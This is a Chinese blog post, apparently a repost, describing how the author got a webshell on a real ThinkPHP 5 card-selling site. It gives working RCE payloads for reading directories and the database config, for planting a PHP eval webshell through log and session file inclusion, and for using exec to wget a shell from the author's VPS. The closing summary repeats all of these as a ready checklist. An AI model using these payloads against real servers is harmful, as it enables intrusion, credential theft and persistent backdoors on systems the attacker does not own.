一次实战中对tp5网站getshell方式的测试

待我称王封你为后i 2024-04-07 10:41 89阅读 0赞

### **0x00 前言** ###

之前接触tp5的站比较少，只知道利用RCE漏洞getshell的方式。在最近对一个发卡平台渗透的过程中，由于php版本限制，无法直接使用RCE的payload拿shell，于是结合该网站尽可能多的测试一下tp5+php7.1环境下的getshell方法。

### **0x02 正文** ###

拿到站点后，访问首页如下

[![fec438436cb5aa117ec91e230969d02f.png][]][fec438436cb5aa117ec91e230969d02f.png 1]

测试中，发现是thinkphp的站，报错如下

[![8f5f1343601245d6910e63c805fcbc68.png][]][8f5f1343601245d6910e63c805fcbc68.png 1]

不过看不出来具体版本，不确定是否存在RCE，于是用exp打一下试试

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo

[![5c5e057be2d85f278d6146550186b6dd.png][]][5c5e057be2d85f278d6146550186b6dd.png 1]

发现执行成功了，disable\_function禁用了挺多函数 [![9566aede89cb8457060fd96f091962ce.png][]][9566aede89cb8457060fd96f091962ce.png 1]

一般php版本低于7.1的情况下，接下来直接用exp写shell就可以了**方法一**  
直接用下面的exp写shell

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

但是这个exp中使用了assert，而上面看到php版本是7.1.33，这个版本是已经没办法使用assert了，所以这里这个方法是不能用的

**方法二**  
上面的exp没办法写shell，但是phpinfo是执行了的，那么RCE是存在的。于是想到可以通过读取文件读取数据库的账号密码，然后找到phpmyadmin，就可以通过数据库写shell。  
于是首先通过phpinfo中的信息找到网站根目录，再使用scandir函数遍历目录，找到数据库配置文件

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路径

[![f619dcedd2320a3537060f1bf0f9caf4.png][]][f619dcedd2320a3537060f1bf0f9caf4.png 1]

然后通过highlight\_file函数读取文件

_method=__construct&filter[]=highlight_file&method=GET&get[]=读取的文件路径

[![61265f525af4b77459c436f6ee439df1.png][]][61265f525af4b77459c436f6ee439df1.png 1]

拿到数据库信息后，找看看是否存在phpmyadmin，最终发现没有，于是这种方法也失败。

在论坛搜索tp5的getshell方法，发现不少师傅说到可以用日志包含或者session包含的方法，但是之前没接触过，不知道具体的，于是搜索尝试一下。

**方法三**  
尝试日志包含  
首先写shell进日志

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>

然后通过日志包含来getshell

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();

[![ccd9bfbd21c13e01805c56865a8cb22e.png][]][ccd9bfbd21c13e01805c56865a8cb22e.png 1]

失败了，这里日志包含的方法也不可用

**方法四**  
尝试使用session包含的方法来getshell  
首先通过设置session会话并传入一句话木马

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1

[![4c54bf629453fc0c0012aead80eb0c0d.png][]][4c54bf629453fc0c0012aead80eb0c0d.png 1]

然后直接利用文件包含去包含session文件，tp5的session文件一般都是在/tmp下面，文件名为sess\_sessionid(这个sessionod在Cookie里面)

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();

[![1c5ab7941831df1edc1cc45a09f8fc77.png][]][1c5ab7941831df1edc1cc45a09f8fc77.png 1]

成功执行，接下来通过蚁剑连接即可 [![aa796448663d187d8642f434c9ba387d.png][]][aa796448663d187d8642f434c9ba387d.png 1]  
成功getshell [![9d76d59ef88772f5933b0a8d307094d6.png][]][9d76d59ef88772f5933b0a8d307094d6.png 1]  
www权限 [![7d67290bbb3c6951ba856f562afb9f37.png][]][7d67290bbb3c6951ba856f562afb9f37.png 1]

**方法五**  
上面拿到了shell，但是我还是再尝试了是否还有其他方法能getshell的。看到一篇文章，是由于disable\_function中没有禁用exec，然后利用exec从vps下载shell文件。  
于是我仔细看了下disable\_function中禁用的函数，巧了，发现也没有禁用exec，那么试一下  
首先在vps上创建一个test.php，并用python开放一个端口

python -m SimpleHTTPServer 8888

[![1568d42b123521f4c6254af184f9b1f7.png][]][1568d42b123521f4c6254af184f9b1f7.png 1]

从vps上下载文件

s=wget vps/test.php&_method=__construct&method=get&filter[]=exec

[![f6d5048995d16770d117e99a9099852e.png][]][f6d5048995d16770d117e99a9099852e.png 1]

成功下载到目标机器上

### **0x03 总结** ###

1.目标网站路径上输入错误的路径，显示网站错误页面是thinkphp，没有显示版本

2.输入tp5.x的RCE poc，显示phpinfo成功，且disable\_function禁用了很多函数以及php版本为7.1.x版本

http://www.xxx.com/index.php?s=captcha

post:

\_method=\_\_construct&method=get&filter=call\_user\_func&get\[\]=phpinfo

3.下面方法可直接获得到shell(tp5.x+php7.1.x)

方法一：(php要求低于<php7.1)

http://www.xxx.com/index.php?s=captcha

post:

s=file\_put\_contents('test.php','<?php phpinfo();')&\_method=\_\_construct&method=POST&filter\[\]=assert(

方法二：(tp5.x+php7.1.x)

首先通过phpinfo中的信息找到网站根目录，再使用scandir函数遍历目录，找到数据库配置文件

\_method=\_\_construct&method=get&filter=call\_user\_func&get\[\]=phpinfo //显示网站目录为/www/wwwroot/idj/,且目录遍历获取到网站配置根目录(/www/wwwroot/idj/data/conf )下存在数据库连接的php为database.php

\_method=\_\_construct&filter\[\]=scandir&filter\[\]=var\_dump&method=GET&get\[\]=/www/wwwroot/

\_method=\_\_construct&filter\[\]=scandir&filter\[\]=var\_dump&method=GET&get\[\]=/www/wwwroot/idj/

\_method=\_\_construct&filter\[\]=scandir&filter\[\]=var\_dump&method=GET&get\[\]=/www/wwwroot/idj/data/

\_method=\_\_construct&filter\[\]=scandir&filter\[\]=var\_dump&method=GET&get\[\]=/www/wwwroot/idj/data/conf

然后通过highlight\_file函数读取文件,并读取到数据库的连接用户名和密码

\_method=\_\_construct&filter\[\]=highlight\_file&method=GET&get\[\]=/www/wwwroot/idj/data/conf/database.php

如果能找到该网站存在phpmyadmin，就可以通过数据库用户和密码进入，并通过mysql log写入shell

方法三：(tp5.x+php7.1.x，日志包含)

首先写shell进日志

\_method=\_\_construct&method=get&filter\[\]=call\_user\_func&server\[\]=phpinfo&get\[\]=<?php eval($\_POST\['c'\])?>

然后通过日志包含来getshell

\_method=\_\_construct&method=get&filter\[\]=think\\\_\_include\_file&server\[\]=phpinfo&get\[\]=../data/runtime/log/202110/17.log&c=phpinfo();

方法四：(tp5.x+php7.1.x，使用session包含的方法来getshe)

首先通过设置session会话并传入一句话木马

\_method=\_\_construct&filter\[\]=think\\Session::set&method=get&get\[\]=<?php eval($\_POST\['c'\])?>&server\[\]=1

然后直接利用文件包含去包含session文件，tp5的session文件一般都是在/tmp下面，文件名为sess\_sessionid(这个sessionod在Cookie里面)

\_method=\_\_construct&method=get&filter\[\]=think\\\_\_include\_file&server\[\]=phpinfo&get\[\]=/tmp/sess\_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();

方法四：(tp5.x+php7.1.x，disable\_function中没用禁用exec函数)

首先在vps上创建一个test.php，并用python开放一个端口

python -m SimpleHTTPServer 8888

从vps上下载文件

s=wget http://www.vps.com/test.php&\_method=\_\_construct&method=get&filter\[\]=exec

原文链接： [https://xz.aliyun.com/t/10397][https_xz.aliyun.com_t_10397]

[fec438436cb5aa117ec91e230969d02f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1e6e0a9421554de6bca35330e88d171b.png
[fec438436cb5aa117ec91e230969d02f.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223308-5010c4c4-3020-1.png
[8f5f1343601245d6910e63c805fcbc68.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c905e990f60a49108a08fed083b81ec2.png
[8f5f1343601245d6910e63c805fcbc68.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223326-5b17c70a-3020-1.png
[5c5e057be2d85f278d6146550186b6dd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cabab2dc09de405bb192012a5c81fc6a.png
[5c5e057be2d85f278d6146550186b6dd.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223409-74bee210-3020-1.png
[9566aede89cb8457060fd96f091962ce.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2c7ca5a3914842e5bddda70b14570158.png
[9566aede89cb8457060fd96f091962ce.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223424-7dd24004-3020-1.png
[f619dcedd2320a3537060f1bf0f9caf4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/41485224ebff476b89a905fc2e56da75.png
[f619dcedd2320a3537060f1bf0f9caf4.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223555-b3eb577a-3020-1.png
[61265f525af4b77459c436f6ee439df1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8ae2cbd8bcab495881f6f2ad6fc9a317.png
[61265f525af4b77459c436f6ee439df1.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223627-c6ffff0a-3020-1.png
[ccd9bfbd21c13e01805c56865a8cb22e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/fabb54f8179041f3ab80cc4047736d7b.png
[ccd9bfbd21c13e01805c56865a8cb22e.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223726-ea02a5b6-3020-1.png
[4c54bf629453fc0c0012aead80eb0c0d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bc858de556b64c34891b127318a34825.png
[4c54bf629453fc0c0012aead80eb0c0d.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223811-04e09d0c-3021-1.png
[1c5ab7941831df1edc1cc45a09f8fc77.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2370055b05e84a65920bf2cd605d55a0.png
[1c5ab7941831df1edc1cc45a09f8fc77.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223842-179a1090-3021-1.png
[aa796448663d187d8642f434c9ba387d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/74ad9d6b50504dfcb7d926ea1f5e0811.png
[aa796448663d187d8642f434c9ba387d.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223859-21858ada-3021-1.png
[9d76d59ef88772f5933b0a8d307094d6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7d9c810ba8684600b4748f9782426e05.png
[9d76d59ef88772f5933b0a8d307094d6.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223914-2a35f19c-3021-1.png
[7d67290bbb3c6951ba856f562afb9f37.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3d003e458cce4b00b93156ae4cecf224.png
[7d67290bbb3c6951ba856f562afb9f37.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018223925-30ffd812-3021-1.png
[1568d42b123521f4c6254af184f9b1f7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/11974ee1666a47398f5d8bc755148d69.png
[1568d42b123521f4c6254af184f9b1f7.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018224033-599d76e4-3021-1.png
[f6d5048995d16770d117e99a9099852e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/075c7602c0c942f9933eae9c88450f5c.png
[f6d5048995d16770d117e99a9099852e.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20211018224115-72aa3226-3021-1.png
[https_xz.aliyun.com_t_10397]: https://xz.aliyun.com/t/10397